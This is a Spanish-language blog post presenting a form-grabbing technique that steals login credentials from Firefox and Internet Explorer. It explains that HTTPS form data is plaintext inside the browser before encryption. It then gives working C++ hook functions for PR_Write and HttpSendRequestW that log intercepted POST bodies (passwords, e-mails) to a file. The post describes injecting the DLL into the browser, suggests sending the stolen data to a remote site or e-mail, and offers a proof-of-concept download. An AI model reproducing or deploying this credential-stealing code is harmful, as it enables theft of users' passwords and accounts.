Infiltrándonos en el navegador web y espiando credenciales de acceso


No podemos aceptar esa afirmación simpática que dice que el computador más seguro es aquel que está apagado y, por lo tanto, desconectado de la red. Todos estamos de acuerdo en que el Internet es genial, pero también un lugar bien hostil y mucho más cuando a día de hoy todo gira alrededor de este fenómeno y nos hacemos más dependientes de su uso. Cada vez se maneja más información sensible a través de los ordenadores y el Internet, cuentas bancarias, compras online, acceso a nuestros e-mails, redes sociales, etc. En esta entrada estaremos analizando la posibilidad traspasar la seguridad ofrecida por una conexión segura, infiltrándonos en los navegadores web y obteniendo la información que queremos desde estos.

Hypertext Transfer Protocol Secure (HTTPS)

Más conocido por sus siglas HTTPS, es un protocolo de aplicación basado en el protocolo HTTP, destinado a la transferencia segura de datos de Hiper Texto, es decir, es la versión segura de HTTP. Es utilizado principalmente por entidades bancarias, tiendas en línea, y cualquier tipo de servicio que requiera el envío de datos personales o contraseñas.

El sistema HTTPS utiliza un cifrado basado en SSL/TLS para crear un canal cifrado (cuyo nivel de cifrado depende del servidor remoto y del navegador utilizado por el cliente) más apropiado para el tráfico de información sensible que el protocolo HTTP. De este modo se consigue que la información sensible (usuario y claves de paso normalmente) no pueda ser usada por un atacante que haya conseguido interceptar la transferencia de datos de la conexión, ya que lo único que obtendrá será un flujo de datos cifrados que le resultará imposible de descifrar.

Como todos los sistemas, este también tiene sus debilidades, las cuales no recaen exactamente en la implementación del mismo, o en los servidores remotos que lo utilizan y ni siquiera en los canales de comunicación en sí mismos. El nivel de protección depende de la exactitud de la implementación del navegador web, el software del servidor y los algoritmos de cifrado actualmente soportados.

Navegadores web, punto débil

Toda nuestra información en el internet es manejada por el navegador web y tramitada a través del mismo y un servidor remoto usando el estándar HTTPS POST. Debido a esto, desde el momento en que rellenamos un formulario, una página de inicio de sesión, etc, y presionamos “Entrar”, nuestras credenciales son recibidas por el navegador web para realizar lo antes expuesto, lo que quiere decir que existe un instante en el que la aplicación tomara nuestros datos introducidos como texto plano, justo antes de que el cifrado tome lugar, y ese precisamente, es el punto débil en todo este sistema, y es básicamente el que explotaremos en este escrito.

Proceso de cifrado y petición HTTPS

Luego que nos autentificamos en alguna web o llenamos un formulario de registro y enviamos la información a la web, el navegador comenzara a crear la petición HTTP, luego esta información será cifrada y enviada al servidor remoto a través del internet como una petición HTTPS. La implementación de las acciones descritas será particular para cada navegador, primeramente vamos a ver como lo hace uno de los más usados, me refiero al Mozilla Firefox.

Mozilla Firefox

Para todo este proceso descrito anteriormente, el FF usa una función de una librería propia (NSS3.DLL), me refiero a la función:

PRInt32 PR_Write (PRFileDesc* fd,
                  const void* buf,
                  PRInt32 amount);

Esta función será llamada para peticiones tanto HTTP como HTTPS, la misma recibe 3 parametros:

Parametros

fd: Descriptor que identifica el socket conectado.

buf : Buffer con la información a ser transmitida.

amount: Tamaño del buffer de información, en bytes.

En nuestro caso los que nos interesan son el 2do y 3er parámetros. Lo que haremos será monitorear esta función cada vez que sea llamada, verificar que sea una petición “POST/ application/x-www-form-urlencoded”, y procesar ambos parámetros. Veamos como luce una petición de este tipo interceptada en Firefox.

madiafire

apimon_mediafire

Podemos ver la llamada correspondiente a la función “PR_Write” y el contenido del buffer del segundo parámetro, como había dicho anteriormente, en texto plano, justo antes de ser cifrado y enviado. Si miramos el texto que he señalado podemos notar sin problemas como nuestras credenciales de acceso a la página web en cuestión son mostradas así sin más.

Internet Explorer

En el caso del navegador de Microsoft la cosa cambia, pues para todo este procedimiento la aplicación usara las tan conocidas API’s de Windows, exactamente se apoya de la librería wininet.dll y de la función:

BOOL HttpSendRequestA/W (HINTERNET hRequest,
                         LPCTSTR lpszHeaders,
                         DWORD dwHeadersLength,
                         LPVOID lpOptional,
                         DWORD dwOptionalLength);

Esta función al igual que la que utiliza el Mozilla Firefox será llamada para peticiones tanto HTTP como HTTPS y la misma recibe 5 parametros:

Parametros
hRequest: Handle devuelto por HttpOpenRequest.
lpszHeaders: Cadena de texto que contiene los encabezados adicionales a ser añadidos a la peticion.
dwHeadersLength: Tamaño de la cadena lpszHeaders, en TCHARs. Este parámetro puede ser -1L y en este caso se trata lpszHeaders como una cadena terminada en 0x00;
lpOptional: Puntero a un buffer con la información a ser transmitida después de los encabezados de la petición. Aquí estará la información que deseamos obtener
dwOptionalLength: Tamaño del buffer de información, en bytes.

Veamos ahora otro ejemplo de una petición POST/HTTPS interceptada en el IE

fb

apimon_fb

Infiltrándonos en el navegador

El procedimiento que estaremos haciendo para conseguir nuestro objetivo será el siguiente:

– Nos creamos una DLL con la que interceptaremos todas las llamadas a las funciones “PR_Write” y “HttpSendRequestA/W”, verificamos los parámetros que nos interesan, los guardaremos a un fichero y luego llamamos a las funciones originales para que todo siga su curso normalmente.

– Inyectamos nuestra DLL en el proceso del navegador web y esperamos a recolectar datos de inicio de sesión.

El código de la DLL esta creado usando CodeGear C++, aquí les muestro un ejemplo de dos funciones filtro “PR_Write” y “HttpSendRequestW”:

//-------------------------------------------------------------

DWORD __cdecl Filter_PR_Write (DWORD *s, void *buf, DWORD len)
{
   char *post_buffer;
   char *enconded_form = "application/x-www-form-urlencoded";

   OutputDebugString("Called filter NSS3.DLL 'PR_Write' function");

   if((strncmp((char*)buf, "POST", 4)) == 0 && (strstr((char*)buf, enconded_form) != NULL))
   {
	post_buffer = new char[len + 1];
	memcpy(post_buffer, (char*)buf, len);

	HANDLE hFile = CreateFile(logfile_path, FILE_APPEND_DATA, FILE_SHARE_READ, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
	if(hFile != INVALID_HANDLE_VALUE)
	{
		DWORD written;
		OutputDebugString(AnsiString("Opened file for writting: " + AnsiString(logfile_path)).c_str());

		AnsiString log_header = AnsiString("rnrn") +
			"--------[ INTERCEPTED BUFFER - TIME: " + DateTimeToStr(Now()) +
			"]-------------------------------------" + AnsiString("rnrn");

		WriteFile(hFile, log_header.c_str(), log_header.Length(), &written, NULL); // Escribimos el encabezado del log
		WriteFile(hFile, post_buffer, len, &written, NULL); // Escribimos el buffer

		CloseHandle(hFile);
		OutputDebugString(AnsiString("Closed file: " + AnsiString(logfile_path)).c_str());
	}
	else
		OutputDebugString(AnsiString("Couldn't open file: " + AnsiString(logfile_path)).c_str());

	delete[] post_buffer;
   }

   OutputDebugString("Calling real NSS3.DLL 'PR_Write' function");
   return Real_PR_Write(s, buf, len);
}

//-------------------------------------------------------------

BOOL __stdcall FilterHttpSendRequestW (HINTERNET hRequest,
                                       LPCTSTR lpszHeaders,
				       DWORD dwHeadersLength,
                                       LPVOID lpOptional,
				       DWORD dwOptionalLength)
{
   char *buffer;
   char *headers;
   wchar_t *enconded_form = L"application/x-www-form-urlencoded";

   OutputDebugString("FilterHttpSendRequestW function called!");

   if((lpOptional != NULL) && (dwOptionalLength > 1) &&
      (wcsstr((wchar_t *)lpszHeaders, enconded_form) != NULL))
   {
	HANDLE hFile = CreateFile(logfile_path, FILE_APPEND_DATA, FILE_SHARE_READ, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
	if(hFile != INVALID_HANDLE_VALUE)
	{
		DWORD written;
		OutputDebugString(AnsiString("Opened File: " + AnsiString(logfile_path)).c_str());

		// Obtengo la longitud necesaria para guardar el encabezado
		int headers_size = WideCharToMultiByte(CP_ACP, WC_NO_BEST_FIT_CHARS, (wchar_t *)lpszHeaders, -1, headers, 0, NULL, NULL);
		headers = new char[headers_size + 1];
		// Guardo el encabezado como ASCII
		WideCharToMultiByte(CP_ACP, WC_NO_BEST_FIT_CHARS, (wchar_t *)lpszHeaders, -1, headers, headers_size + 1, NULL, NULL);

		// Copio al buffer el parametro lpOptional
		buffer = new char[dwOptionalLength + 1];
		memcpy(buffer, (char*)lpOptional, dwOptionalLength);

		AnsiString log_header = AnsiString("rnrn") +
			"--------[ INTERCEPTED BUFFER - TIME: " + DateTimeToStr(Now()) +
			"]-------------------------------------" + AnsiString("rnrn");

		WriteFile(hFile, log_header.c_str(), log_header.Length(), &written, NULL);
		WriteFile(hFile, headers, headers_size, &written, NULL); // Escribimos el encabezado
		WriteFile(hFile, buffer, dwOptionalLength, &written, NULL); // Escribimos el buffer

		delete[] headers;
		delete[] buffer;
		CloseHandle(hFile);
		OutputDebugString(AnsiString("Closed File: " + AnsiString(logfile_path)).c_str());
	}
	else
		OutputDebugString(AnsiString("Couldn't open file: " + AnsiString(logfile_path)).c_str());
   }

   OutputDebugString("Calling real HttpSendRequestW function!");
   return RealHttpSendRequestW(hRequest, lpszHeaders, dwHeadersLength, lpOptional, dwOptionalLength);
}

//-------------------------------------------------------------

Obteniendo credenciales de acceso

Nuestro código tomara el buffer de la petición POST asociada al valor de los controles web y su contenido, en los cuales estará la información de acceso (contraseñas, id, e-mails, etc.). Luego crea el fichero “MY_DOCUMENTS\inetlogs.log” en el usuario actual con toda esta información de forma tabular.

Otra variante al obtener dichas credenciales sería la de enviar esta información a alguna web o e-mail al que luego pudiéramos acceder y consultar los datos obtenidos desde cualquier ordenador sin dificultad, estas variantes ya quedarían para el lector.

Veamos ahora un ejemplo de fichero log generado con el acceso a varias webs desde Mozilla Firefox v25 e Internet Explorer v6, v8.

inetlogs

Conclusiones

A través de esta entrada hemos visto una forma de cómo podemos romper la seguridad que ofrece el protocolo HTTPS y no debido a debilidades en la implementación del mismo, como ya se expuso, sino atacando directamente a los navegadores web que vienen a ser el punto de entrada ideal. Como ya se expuso anteriormente, todo el proceso ha sido probado desde los SO Windows 7 x86 y Windows XP SP3 x86 utilizando los navegadores web Mozilla Firefox v25 e Internet Explorer v6, v8.

Los navegadores Chrome y Opera no fueron analizados en este escrito utilizando este método pues son un poco más seguros en este aspecto, pues el código para la comunicación con la red no radica en ninguna función de una librería externa, sino que se encuentra escrita en el propio ejecutable, por lo que habría que analizar el codigo para encontrar el lugar exacto donde estas operaciones son llevadas a cabo.

Descarga del PoC: inetspy_source

Referencias

http://redkiing.wordpress.com/2012/04/30/firefox-formgrabber-i-introduction/
http://www.rohitab.com/api-monitor-tutorial-sniffing-firefox-ssl-traffic
http://www.rohitab.com/api-monitor-tutorial-sniffing-internet-explorer-ssl-data
http://developer.mozilla.org/en/PR_Write

Anuncios

2 Respuestas a “Infiltrándonos en el navegador web y espiando credenciales de acceso

Responder

Introduce tus datos o haz clic en un icono para iniciar sesión:

Logo de WordPress.com

Estás comentando usando tu cuenta de WordPress.com. Cerrar sesión / Cambiar )

Imagen de Twitter

Estás comentando usando tu cuenta de Twitter. Cerrar sesión / Cambiar )

Foto de Facebook

Estás comentando usando tu cuenta de Facebook. Cerrar sesión / Cambiar )

Google+ photo

Estás comentando usando tu cuenta de Google+. Cerrar sesión / Cambiar )

Conectando a %s